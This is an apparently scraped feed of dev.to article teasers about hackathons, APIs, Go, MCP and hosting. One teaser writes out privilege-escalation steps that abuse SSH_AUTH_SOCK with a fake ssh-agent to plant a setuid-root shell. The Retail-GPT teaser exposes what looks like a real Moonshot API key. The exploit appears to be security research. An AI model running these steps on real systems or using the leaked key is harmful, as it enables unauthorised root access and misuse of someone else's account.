    🔍 Introduction In today’s fast-moving innovation landscape, staying ahead means more than just inventing—it means protecting your ideas efficiently and intelligently. As we've seen, the traditional, manual approach to prior art search is no longer sufficient for teams seeking speed, precision, and scalability. Through this automated prior art search example, we explore how semantic AI and NLP-powered tools are transforming the way inventors, startups, and IP professionals identify novelty, evaluate risk, and streamline their patent strategy. Whether you're a solo innovator screening early ideas or a corporate R&D team preparing for global filings, automation can save dozens of hours and significantly reduce the likelihood of missed references or costly rework. Free tools like Espacenet …  ( 6 min )
    Beyond the Code: The Human Story Behind Ouch! - Feel Every Dollar
    Beyond the Code: The Human Story Behind Ouch! - Feel Every Dollar More Than Just Code While Ouch! - Feel Every Dollar started as a technical challenge—Ouch! is a voice-activated personal finance companion designed to make you "feel every dollar."—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late-Night Debug …  ( 6 min )
    After the Hack: What's Next for Ouch! - Feel Every Dollar and My Journey
    After the Hack: What's Next for Ouch! - Feel Every Dollar and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at Ouch! - Feel Every Dollar—Ouch! is a voice-activated personal finance companion designed to make you "feel every dollar."—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release to a small group of early adopters 💰 Monetization Strategy: Ex…  ( 7 min )
    Building with Bolt: How I Created YoRival in Record Time
    Building with Bolt: How I Created YoRival in Record Time The Challenge During the World's Largest Hackathon, I set out to build YoRival - The ultimate arena to settle all your arguments. Vote for your side. Generate the perfect zinger for your silly arguments and win rivalries! Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of YoRival required: Modern web technologies (React, Node.js, database integration) Responsive design for all devices User authenticatio…  ( 5 min )
    Beyond the Code: The Human Story Behind YoRival
    Beyond the Code: The Human Story Behind YoRival More Than Just Code While YoRival started as a technical challenge—The ultimate arena to settle all your arguments. Vote for your side. Generate the perfect zinger for your silly arguments and win rivalries!—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late-Nig…  ( 6 min )
    After the Hack: What's Next for YoRival and My Journey
    After the Hack: What's Next for YoRival and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at YoRival—The ultimate arena to settle all your arguments. Vote for your side. Generate the perfect zinger for your silly arguments and win rivalries!—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release to a small group of early adopters 💰 Monetization Str…  ( 7 min )
    Exploiting the SSH_AUTH_SOCK Variable for Privilege Escalation via Fake ssh-agent
    🧩 Introduction: 🎯 Research Objectives: 🧪 Exploitation Steps: gcc -o myrootsh myrootsh.c xxd -i myrootsh | sed 's/myrootsh/myrootsh_bin/g' > myrootsh.h The myrootsh.h file now contains the payload as a C array to be embedded in the fake agent. ✅ Step 2: Launch the Fake ssh-agent sudo ./fake_agent This program listens on a fake Unix socket: /tmp/fakeagent/ssh-agent.sock ✅ Step 3: Trigger the Exploit via mysshtest export SSH_AUTH_SOCK=/tmp/fakeagent/ssh-agent.sock ./mysshtest The mysshtest binary is a simple setuid-root application that runs ssh-add -l, simulating real-world agent interaction. ✅ Step 4: Activate the Root Shell sudo cp /tmp/.rootshell /usr/local/bin/.rootshell sudo chmod 4755 /usr/local/bin/.rootshell /usr/local/bin/.rootshell Once executed, the regular user gains access to a root shell. 🧭 Discovering Affected Applications: grep -r 'ssh-add\|SSH_AUTH_SOCK\|ssh ' /usr/bin /usr/sbin /usr/lib 2>/dev/null grep -r 'SSH_AUTH_SOCK' /etc /usr 2>/dev/null 🔍 Analysis of Affected Applications: /usr/bin/ssh-copy-id ssh-add -l git ls-remote git@github.com:... 🟥 Risk Ranking Summary: ⚠️ Security Analysis: 🛡️ Security Recommendations: ✅ Conclusion: 📫 Author techokba@gmail.com https://orcid.org/0009-0008-1629-0002 https://www.linkedin.com/in/guiar-oqba-0207a9253/ https://github.com/okba14 https://zenodo.org/records/15786076 https://hashnode.com/@okba @okba_elkantara 📱 Phone: +2136-71-36-04-38  ( 5 min )
    Schema Evolution in Kafka: How to Design Resilient Event Contracts in Go
    In distributed systems, change is inevitable - but breaking things doesn’t have to be. As your system evolves, so will the data exchanged between services. In Kafka-based architectures, that evolution must be handled carefully. Fail to do so, and you'll end up with incompatible consumers, corrupted data, and replay nightmares. This article dives into schema evolution in Kafka, with a sharp focus on using Protobuf and Go to build resilient contracts. We'll cover versioning strategies, evolution-safe patterns, common pitfalls, and practical examples using kafka-go and a schema registry (Buf or Confluent). When your services communicate through Kafka topics, they rely on a shared contract - the event schema. But these schemas aren’t static. You’ll inevitably need to: Add new fields (e.g., tax…
    Building with Bolt: How I Created Five Star Finder App. in Record Time
    Building with Bolt: How I Created Five Star Finder App. in Record Time The Challenge During the World's Largest Hackathon, I set out to build Five Star Finder App. - The Five Star Finder (FSF) you can now find recommended restaurants and hotels. Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of Five Star Finder App. required: Modern web technologies (React, Node.js, database integration) Responsive design for all devices User authentication and data manageme…  ( 5 min )
    Beyond the Code: The Human Story Behind Five Star Finder App.
    Beyond the Code: The Human Story Behind Five Star Finder App. More Than Just Code While Five Star Finder App. started as a technical challenge—The Five Star Finder (FSF) you can now find recommended restaurants and hotels.—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late-Night Debug Session: When my authent…  ( 6 min )
    After the Hack: What's Next for Five Star Finder App. and My Journey
    After the Hack: What's Next for Five Star Finder App. and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at Five Star Finder App.—The Five Star Finder (FSF) you can now find recommended restaurants and hotels.—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release to a small group of early adopters 💰 Monetization Strategy: Explore sustainable revenu…  ( 7 min )
    Building with Bolt: How I Created pressme.lol in Record Time
    Building with Bolt: How I Created pressme.lol in Record Time The Challenge During the World's Largest Hackathon, I set out to build pressme.lol - Flip a switch, virtual cat flips it back. That's it. Traditional development would have taken weeks, but Bolt.new transformed my entire approach: Natural Language to Code: Instead of writing boilerplate, I described what I wanted Real-time Preview: Seeing changes instantly kept my momentum high AI-Powered Suggestions: Bolt understood my vision and suggested improvements ### Technical Implementation The core functionality of pressme.lol required: Modern web technologies (React, Node.js, database integration) Responsive design for all devices User authentication and data management Real-time features and API integrations With Bolt.new,…  ( 5 min )
    Beyond the Code: The Human Story Behind pressme.lol
    Beyond the Code: The Human Story Behind pressme.lol More Than Just Code While pressme.lol started as a technical challenge—Flip a switch, virtual cat flips it back. That's it.—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understands the journey ### Moments That Mattered The Late-Night Debug Session: When my authentication system broke at midnight, three strange…  ( 6 min )
    Why Black Lion Hospital Addis Ababa Ethiopia Leads In Patient Care
    When it comes to medical excellence in East Africa, Black Lion Hospital Addis Ababa Ethiopia stands tall. Known officially as Tikur Anbessa Specialized Hospital, this renowned facility plays a critical role in Ethiopia's healthcare system. Located in the heart of the capital city, Black Lion Hospital has earned a solid reputation for offering advanced patient care, medical training, and groundbreaking research. But what exactly makes this hospital a leader in patient care? Let’s take a deep dive into the factors that set it apart. Black Lion Hospital Addis Ababa Ethiopia is the largest public hospital in the country, affiliated with the prestigious Addis Ababa University. With over 800 beds, the hospital provides comprehensive medical services across more than 20 specialties, including onc…  ( 6 min )
    🔥Try This Free JS Deobfuscator – Feedback Welcome!
    Hey devs! 👋 I recently built JSDeobfuscator — a free online tool that helps you deobfuscate and analyze JavaScript code. 🧪 What it does: •📜 Converts obfuscated or minified JS into more readable code. ⸻ 💬 Why I built it: Most free deobfuscators break on real-world scripts. This tool aims to handle more realistic use cases and weird obfuscation patterns. It’s still under development, so I’d love your feedback! ⸻ 🧠 You can help by: 🔗 Try it now Thanks for giving it a shot!  ( 3 min )
    Beyond the Code: The Human Story Behind Needle & Hay
    Beyond the Code: The Human Story Behind Needle & Hay More Than Just Code While Needle & Hay started as a technical challenge—Enter any stock ticker, get a 15-rule checklist. Instantly spot what's undervalued, risky, or worth a look. No hype — just clear fundamentals, explained with AI so you invest smarter.—the real magic happened in the connections I made and lessons I learned during the World's Largest Hackathon. The hackathon brought together developers, designers, entrepreneurs, and dreamers from around the world. In the project channels, I discovered: Mentors who guided my vision: Senior developers who've been where I want to go Peers facing similar challenges: Fellow hackers debugging the same issues at 3 AM Cheerleaders celebrating small wins: A community that understan…  ( 6 min )
    After the Hack: What's Next for Needle & Hay and My Journey
    After the Hack: What's Next for Needle & Hay and My Journey The Dust Settles The World's Largest Hackathon is over, submissions are in, and I'm staring at Needle & Hay—Enter any stock ticker, get a 15-rule checklist. Instantly spot what's undervalued, risky, or worth a look. No hype — just clear fundamentals, explained with AI so you invest smarter.—wondering: "What now?" What started as a 48-hour sprint has revealed genuine potential: Immediate Roadmap (Next 30 Days): 🔧 Technical Debt Cleanup: Refactor the quick hackathon code into production-ready architecture 📊 User Research: Interview 20 potential users to validate core assumptions 🎨 UI/UX Polish: Transform the functional prototype into an delightful experience Medium-term Vision (3-6 Months): 🚀 Beta Launch: Release t…  ( 7 min )
    Congratulations to the World's Largest Hackathon Winners! Now it's time to share your full reflection.
    What an incredible weekend! The World's Largest Hackathon winners were announced on Saturday, and we're blown away by the innovation and creativity from all 130,000+ participants. If you participated in this historic event, whether you won, placed, or simply built something amazing, there's still time to complete your WLH experience by sharing your story. Our WLH Writing Challenge is still accepting submissions through July 31 (that's this Wednesday!). Reflect and Share Your World's Largest Hackathon Journey: Writing Challenge Now Open 🌟 Jess Lee for The DEV Team ・ Jul 1 #wlhchallenge #devchallenge #ai #startup 3 prompt winners receive a $100 gift card + custom WLH mug. 7 additional outstanding submissions receive a custom WLH mug. All participants get a completion badge on their DEV profile. 🔨 Building with Bolt - Your technical journey and development process 🚀 After the Hack - What's next for you and your project 🤝 Beyond the Code - The community and human connections you made Whether you're celebrating a win, planning your next move, or reflecting on what you learned, your experience deserves to be shared. Start Writing Deadline: July 31 at 11:59 PM PDT The World's Largest Hackathon may be over, but the stories and connections it created will last much longer. Don't miss your chance to be part of that legacy.  ( 3 min )
    I Automated My Entire Dev Workflow with AI (You Won't Believe How Easy It Is)
    As a solo developer building UserJot, I was spending too much time on repetitive tasks. Between analyzing user feedback, doing keyword research, checking support tickets, and actually writing code, I barely had time to write code. Then I discovered MCP (Model Context Protocol) and automated most of these tasks. Here's how you can do it too. MCP lets AI assistants like Claude interact with external tools and services. Instead of just chatting, Claude can: Read and write files on your computer Call APIs and web services Run terminal commands Access databases Basically run any code you write for it Think of it as building custom functions that Claude can call when needed. While MCP is useful, setting up servers from scratch involves boilerplate code. FastMCP simplifies this process. Here's a …  ( 6 min )
    Todo List Backend API
    A comprehensive, production-ready REST API for a Todo List application built with Node.js, Express, MongoDB, and ECMAScript Modules (ESM). Features include JWT authentication, task management with advanced filtering, email notifications, and user profile management. JWT-based Authentication - Secure user authentication with token-based sessions Complete Task Management - CRUD operations with advanced filtering and search Email Notifications - Task creation confirmations and daily reminders User Profile Management - Update name, email, and password Advanced Filtering - Filter tasks by completion status, priority, due date, and search terms Pagination - Efficient handling of large task lists Security Features - Rate limiting, CORS, helmet protection Input Validation - Comprehensive request v…  ( 7 min )
    Why I Chose 'ForgeCode' as #1 AI Coding Assistant in 2025?
    Ever wished your AI coding assistant could be as seamless as having a teammate right in your terminal? That’s exactly how I feel about ForgeCode. AI is no longer a futuristic concept or an experimental curiosity. It has firmly cemented its place as an indispensable, everyday reality for developers like me. The shift has been profound, with the attitude towards artificial intelligence transitioning from an experimental approach to a regular, day-to-day practice across companies of all sizes. Indeed, the rate of adoption has soared to an astonishing 97.5% globally, making AI an integral part of internal processes for virtually every software development provider. This widespread integration is further underscored by findings that 78% of respondents globally are already using AI in their s…  ( 8 min )
    CreativePro: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. CreativePro - CreativePro is an AI-powered idea validation and collaboration platform that helps creators safely share, evaluate, and build on ideas—together. Team Members: Kishan Kunver, Keshav Kunver, Vedavit Shetty Project URL: https://devpost.com/software/idea-app-4zbidn Our experience building CreativePro during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions ac…  ( 4 min )
    Avoiding the Extraneous Fetching Antipattern
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. In modern web applications, performance often takes a hit not because of complex logic—but due to inefficient data access patterns. One such pitfall is the Extraneous Fetching Antipattern: pulling in more data than necessary, leading to slower apps, wasted bandwidth, and increased processing load on both client and server. Let’s walk through what this looks like in JavaScript (especially in Node.js / frontend apps), and how to avoid it. This happens when your app fetches more data than it actually uses. It often comes from trying to …  ( 5 min )
    Finding the Needle in the JSON Haystack: Why Your 'Ctrl+F' is Failing You
    You get a response from a third-party API. It's thousands of lines long. The documentation is a week old, and you're not even sure what the structure looks like anymore. All you know is that somewhere in that nested mess of objects and arrays is the orderStatus you need to debug. What's your next move? If you're like I used to be, you'd paste it into a text editor, format it, and then start hitting Ctrl+F (or Cmd+F), frantically searching for "orderStatus". You get 15 results. Some are keys, some are values in unrelated objects, and one is inside a comment in a string. It's a mess. This approach fails because it treats your structured data like dumb text. When you're dealing with complex JSON, you don't have a text problem; you have a visibility problem. To solve it, you need to upgrade yo…  ( 5 min )
    Lightning Voice Commander - Ultra-Fast Real-Time Gaming Interface
    This is a submission for the AssemblyAI Voice Agents Challenge Lightning Voice Commander is a cutting-edge real-time gaming interface that pushes AssemblyAI's Universal-Streaming to its performance limits. Built for the Real-Time Voice Performance prompt, this system enables voice-controlled gaming, live translation, and instant command execution where every millisecond matters. Key features: Ultra-low latency voice commands for competitive gaming Real-time multilingual translation during live streams Instant voice-activated shortcuts and macros Performance optimization dashboard with latency monitoring Adaptive voice recognition for noisy gaming environments 🔗 Live Demo: https://lightning-voice-commander.netlify.app Video Demo: https://youtu.be/demo-lightning-commander Screenshots: Real-…  ( 3 min )
    SearchFlow Intelligence - AI-Powered Enterprise Search with Algolia MCP
    This is a submission for the Algolia MCP Server Challenge SearchFlow Intelligence is a comprehensive enterprise search platform that harnesses the power of Algolia's MCP Server to create intelligent, natural language-driven search experiences. The system enables users to manage their entire search infrastructure through conversational AI, making complex search operations accessible through simple voice and text commands. Key features: Natural language search query generation and optimization Intelligent search analytics and performance monitoring Automated index management and optimization Multi-modal search across documents, code, and data Real-time search performance insights and recommendations GitHub Repository: https://github.com/demo-user/searchflow-intelligence 🔗 Live Demo: https:/…  ( 4 min )
    Crack the Code, Compete, Collaborate: AWS Jam Session with AWS User Group Toronto – July 25, 2025
    On July 25, 2025, AWS User Group Toronto came together for an evening that was part challenge, part collaboration—and 100% cloud-powered. It was hands-on. It was competitive. And most importantly, it was a ton of fun. 🧩 What is an AWS Jam? If you’ve never participated in one—AWS Jam is a collaborative, team-based challenge format where participants work through a series of tasks that simulate real-world cloud problems. From security misconfigurations and observability bottlenecks to AI/ML troubleshooting and architecture gaps, these scenarios are designed to push your problem-solving skills using live AWS environments. Whether you're a seasoned builder or just starting out, there's something in a Jam for everyone. 🛠️ The Theme: Security & GenAI This session’s Jam focused on two major…  ( 5 min )
    La magia de un buen script: pequeños comandos, grandes resultados
    Una vez escribí un script de 6 líneas que me ahorró... no te miento, dos semanas de trabajo manual. Solo 6 líneas. Y fue en Bash. Lo gracioso es que me tomó más tiempo encontrar el archivo que necesitaba automatizar que escribir el bendito script. You’d think que a esta altura uno tendría sus cosas organizadas... pero bueno. Así arranca esta historia. Imaginate que todos los días abrís tu compu, limpiás una carpeta, copiás unos archivos, los comprimís y los subís a Drive. Ahora... ¿y si en lugar de hacer eso a mano cada día, lo hacés una vez, lo guardás como un comando y listo? Eso, mi amigo/a, es un script. Y sí, hay magia en eso. Lo juro. Aunque no sea magia tipo Amarres De Amor Andersonville, igual tiene su toque místico. Porque ver algo repetitivo convertirse en automático... wow. fin…  ( 5 min )
    Red Hat Enterprise Linux: Practical Labs for File Permissions, Hard Links & Disk Partitioning
    Red Hat Enterprise Linux (RHEL) stands as a titan in the enterprise world, powering critical infrastructure globally. For system administrators, DevOps engineers, and IT professionals, mastering RHEL isn't just a skill; it's a career accelerator. The RHEL Skill Tree on LabEx offers a meticulously crafted learning path, moving beyond theoretical knowledge to deliver tangible, hands-on experience. Forget passive video lectures; here, you'll engage directly with live RHEL environments, tackling real-world scenarios. This isn't just about passing an exam; it's about building the muscle memory and problem-solving acumen required to excel in enterprise Linux operations. Let's explore some foundational labs that will sharpen your RHEL expertise. Difficulty: Beginner | Time: 10 minutes In this ch…  ( 4 min )
    How IoT and Sensor Data Are Revolutionizing HVAC Monitoring
    In today’s connected world, HVAC systems aren’t just hardware anymore — they’re part of the digital infrastructure of smart buildings. As developers, we're increasingly expected to build, maintain, or interface with systems that blend software and physical environments. One of the fastest-evolving areas in this space is IoT-driven HVAC monitoring. If you're a backend dev, full-stack engineer, or someone working in smart building tech, here's what you need to know about the intersection of sensor networks, data processing, and climate control. Traditional HVAC systems were largely reactive. If something broke, someone noticed — eventually. But now, with embedded sensors, remote connectivity, and cloud analytics, HVAC monitoring has shifted to a proactive model. Here’s how: Temperature senso…  ( 4 min )
    How the Windows MCP Registry & Security Model Works in Windows 11
    Microsoft introduced native support for the Model Context Protocol (MCP) in Windows 11 through Windows AI Foundry. A key part of this update is the MCP Registry, which serves as a trusted directory of MCP servers, and a security model that governs which tools agents can access 1. This registry was designed to ensure only vetted servers are exposed, and to give users control over agent permissions 12. The MCP Registry for Windows is the central source agents use to discover available MCP servers. Only servers that meet baseline security criteria—such as code signing and fixed tool definitions—are allowed to register 13. Agents cannot access any MCP server until the user explicitly enables the feature; agent access is disabled by default 1. When an agent requests a tool, Windows routes that…  ( 5 min )
    Retail-GPT: Hyper-Personalized Offer Engine
    *This is a submission for the Redis AI Challenge: Real-Time AI Innovator https://youtu.be/-yOneHOhbJY The ultimate demonstration of Redis as a unified AI memory layer # 1. Install dependencies pip install -r requirements_final.txt # 2. Set your Moonshot API key (optional - works with mock responses) export MOONSHOT_API_KEY=sk-NP3YKkEh6cujcGNUelPk2Q2kQrtdY1VelScC09zjpOSVXAft # 3. Run the complete demo python redis_ai_challenge_final.py Demo runs in 1 minute and showcases all Redis AI capabilities! Vector Search: HNSW indexing with 384-dim embeddings Semantic Caching: 60%+ cost reduction with intelligent caching Real-time Streaming: Event processing with Redis Streams Unified Storage: Vectors + cache + features + session state <50ms Latency: Personalized offers delivered in real-time 60%…  ( 5 min )
    Malware Detection and Removal from WooCommerce Checkout Page
    In the world of e-commerce, securing your online store is crucial to protect customer data and maintain trust. If you’re running a WordPress site with WooCommerce, you’re likely aware of the risks posed by malware, such as credit card skimmers. These malicious scripts can stealthily capture sensitive payment information, leading to data breaches and financial losses. In this detailed case study, we’ll walk you through a real-world incident where a WooCommerce-based WordPress website was compromised by a fake payment form malware. We’ll cover how the malware operated, the steps for detection, and the complete removal process. Whether you’re dealing with WordPress malware removal or want to prevent such attacks, this guide provides actionable insights to enhance your site’s security. Read More...  ( 3 min )
    Funções Geradoras e Geradoras Assíncronas em Javascript
    Vou explicar e mostrar como usar funções geradoras e geradoras assíncronas no javascript. Mas, eu preciso explicar outras funcionalidades antes. Um iterador (iterator) é um objeto que sabe como acessar uma coleção de dados, um por vez. Para criar um iterador você precisa que o objeto siga o protocolo iterator, ou seja, ele precisa ter um método next. Esse método deve retorna um objeto com as propriedades value, que terá o valor a ser acessado, e done que irá indicar se os dados acabaram. const makeIterator = (array) => { let nextIndex = 0; const iterator = { // Implementado protocolo iterator next() { if (nextIndex < array.length) { return { value: array[nextIndex++], done: false } …  ( 8 min )
    Memory Management in Turbine: A Markdown-Inspired Scripting Language
    Understanding Memory Management in Turbine In previous posts, I introduced Turbine, a scripting language with Markdown-like syntax and some interesting features, like its enum system. Today, I’ll dive a bit deeper and walk through how memory is managed under the hood. Turbine uses automatic memory management powered by garbage collection (GC). That means you don’t need to manually call free() like in C — memory cleanup is handled behind the scenes. Still, if you’re interested in virtual machine (VM) internals or building your own language runtime, this post will give you an overview of how memory works in Turbine. Turbine distinguishes between two kinds of values when it comes to memory management: Primitive types (int, float, bool, etc.) are not managed by the GC. Reference types (array…  ( 5 min )
    Mastering MCP: The Model Context Protocol Behind Smarter AI Agents (i)
    Model Context Protocol (MCP). The game-changing standard that’s redefining how AI models seamlessly integrate with external tools and data! Discover what MCP is, why it was invented, its architecture, practical use cases, common pitfalls to avoid, and how to get started hosting your own MCP server. Whether you’re an AI developer, product manager, or tech enthusiast, this deep dive will help you unlock scalable, secure, and efficient AI integrations. Check it out and join the conversation! 👉 https://medium.com/@lakshan_fernando/mastering-mcp-the-model-context-protocol-behind-smarter-ai-agents-i-33078156e38d  ( 3 min )
    Lessons From a Burnt Wick: Why Mistakes Make Better Makers🕯️
    Hey dreamers 👋 A fun fact no one tells you when you start pouring candles: you will ruin A LOT of wicks. The first time my entire batch drowned, I almost quit. The wax tunneled, the scent vanished, my workspace smelled like burnt cotton. Not cute. 🌱 But here’s the thing: mistakes are teachers. Pour too hot? Cracks. Pour too cold? Frosting. Wrong wick? Mushrooming. Same with your side hustle, your product, your code — your midnight idea. Messy drafts shape the final thing. 💡 Failure = Feedback ✨ Imperfect but Glowing Because the light you’re after comes through the cracks. If you want to see my perfectly imperfect candles: candlesbymidnight.com What mistake taught you the most? I’d love to know. Drop it below 👇  ( 3 min )
    Understanding Go's Type System: A Complete Guide to Interfaces, Structs, and Composition [2025]
    Introduction Go's type system stands out in the programming world for its simplicity and power. While many developers come to Go from object-oriented languages expecting classes and inheritance, they quickly discover that Go takes a fundamentally different approach. Instead of traditional OOP concepts, Go relies on interfaces, structs, and composition to build maintainable and flexible applications. If you've ever wondered how to design clean, scalable Go code without classes, or struggled to understand when to use interfaces versus structs, you're not alone. Many developers initially find Go's type system confusing, especially when transitioning from languages like Java, C#, or Python. In this comprehensive guide, you'll learn how Go's type system works from the ground up. We'll explore…  ( 11 min )
    The Complete Guide to Finding the Best PHP Hosting in 2025 [Top 10 Providers Compared]
    Introduction PHP powers over 75% of all websites on the internet, making it one of the most popular server-side programming languages for web development. Whether you're building a simple blog with WordPress, developing a complex e-commerce platform, or creating custom web applications, choosing the right PHP hosting provider is crucial for your project's success. Finding the best PHP hosting can be overwhelming with hundreds of providers claiming to offer superior performance and features. The wrong choice can lead to slow loading times, frequent downtime, security vulnerabilities, and poor user experience that directly impacts your website's performance and search engine rankings. In this comprehensive guide, you'll discover everything you need to know about PHP hosting, including the …  ( 11 min )
    How to Localize Multiplatform Apps with Localazy CLI: Tips and Tricks
    When maintaining apps across multiple platforms, such as Android, iOS, and the web, keeping translation files synchronized and consistent can become a significant challenge. Localazy CLI offers a developer‑friendly solution to help automate and simplify local localization workflows. Unified Translation Pipeline: Upload and download strings directly from your project using a single CLI tool, eliminating manual conversions and syncing issues across platform-specific formats, such as JSON, XML, or .strings Automated Format Conversions: Convert between localization formats automatically, reducing the need for custom scripts. This keeps your translation workflows streamlined across platforms. Connected Projects for Syncing Across Apps: You can link multiple platform projects so they share translation keys and approved translations automatically. Connections are bidirectional and transitive, meaning translations propagate across all connected projects once a mapping exists. Reduced Errors and Manual Work: The CLI helps enforce consistency through features like translation matching, automatic approvals for identical strings, and simplified updates that prevent human error. Saves time and avoids duplication when managing translations across diverse tech stacks. Supports clean, repeatable workflows by integrating with CI/CD pipelines—commit, sync, and deploy. Makes localization accessible to both developers and non-technical contributors through a shared, automated translation flow. To implement Localazy, check out this blog!  ( 3 min )
    GitHub
    Check Out My GitHub Account - Click Here  ( 2 min )
    Day 5 of My Data Analytics Journey
    ✨️✨️Understanding Data Types and Operators✨️✨️ 🔢 What are Data Types? 👉 Common Data Types: Float (float) – Decimal numbers (e.g., 3.14, -0.01) String (str) – Text (e.g., "Hello", "Ramya") Boolean (bool) – True or False values List – Ordered, changeable collection (e.g., [1, 2, 3]) Tuple – Ordered, unchangeable collection (e.g., (1, 2, 3)) Dictionary (dict) – Key-value pairs (e.g., {"name": "Ramya", "age": 21}) ➕ What are Operators? 🧮 Types of Operators: Addition Subtraction Multiplication / Division % Modulus (remainder) ** Exponent (power) // Floor division Comparison Operators == Equal != Not equal Greater than < Less than = Greater than or equal <= Less than or equal Logical Operators and – True if both conditions are true or – True if at least one condition is true not – Reverses the result (True becomes False) Assignment Operators = Assign += Add and assign -= Subtract and assign *= Multiply and assign /= Divide and assign Membership Operators in – True if found not in – True if not found Identity Operators is – True if both variables point to the same object is not – True if not the same object DataAnalytics #Python #LearningJourney #SlowLearner #WomenInTech #DevCommunity  ( 3 min )
    Let me explain the difference between compiler and interpreter languages in a clear, visual way.
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    Intranet: The Office Edition
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created a fully functional intranet for Thunder Tifflin Paper Company, a fictional paper manufacturer inspired by classic office culture. The intranet features five working pages (HR, Sales, Warehouse, Accounting, Reception) with real functionality like employee directory search, expense forms, and visitor management. The design balances professional corporate needs with subtle humor - think early 2000s intranet aesthetic but with smooth animations, responsive design, and easter eggs that reward exploration without breaking the user experience. Key Features: Multi-page navigation with working forms and search Responsive 3-column → single-column mobile layout Employee directory w…  ( 4 min )
    🧠 How to Code Review Without Losing Your Mind (or Your Team’s Respect)
    A no-nonsense guide to giving and receiving feedback that actually helps 👀 Why Code Reviews Matter Code reviews are more than just nitpicking tabs vs. spaces. They’re about sharing knowledge, improving quality, and building trust. Whether you’re a fresh hire or the architect, the moment you click “Request Review,” you’re inviting someone into your thought process. And when you’re the reviewer? You’re stepping into the code’s story, trying to understand not just what it does — but whyit was written that way. Done right, code reviews elevate the whole team. Done wrong, they frustrate everyone and ship bugs. Let’s get one thing straight: your job as a reviewer is not to rewrite the code. It’s to improve it. You’re looking for: Correctness: Does it work as intended? Could it brea…  ( 5 min )
    C++ မှတ်စု (၂) – Pointer နဲ့ Dereferencing
    ခုဏက memory address ကို ကြည့်တဲ့ နည်းကို ပြခဲ့ပါတယ်။ ဒီတခါတော့ အဲ့ဒီ memory address မှာ ရှိနေတဲ့ value ကို pointer သုံးပြီး ကြည့်ကြည့်ရအောင်။ #include int main() { int i = 10; int* v = &i; std::cout int main() { int i = 10; int* v = &i; std::cout << "value of pointer v:"<< *v; *v = 12; std::cout << "value of i:"<< i; return 0; } ဒါဆိုရင် Console မှာ အောက်ပါအတိုင်း output ထွက်လာပါလိမ့်မယ်။ value of pointer v: 10 value of i: 12  ( 3 min )
    I Got Tired of APIs, So I Built a New Vue Framework
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    Mastering Solidity Design Patterns: Building Secure and Scalable Smart Contracts
    Smart contracts are the backbone of decentralized applications, executing irreversible transactions on the blockchain. Because their code is immutable and often handles significant financial value, writing them demands a high degree of precision and foresight. design patterns come in—acting as the architect’s toolkit for building applications that are secure, efficient, and reliable. Solidity smart contracts are prone to several vulnerabilities that can lead to major financial losses or reputational damage. Common examples include: Reentrancy attacks Integer overflows and underflows Access control flaws Denial-of-Service (DoS) attacks Unchecked external calls Understanding these vulnerabilities and implementing secure design patterns is crucial. These patterns offer proven, reusable soluti…  ( 5 min )
    Tamil Startup MeetUp For Tamil-AI
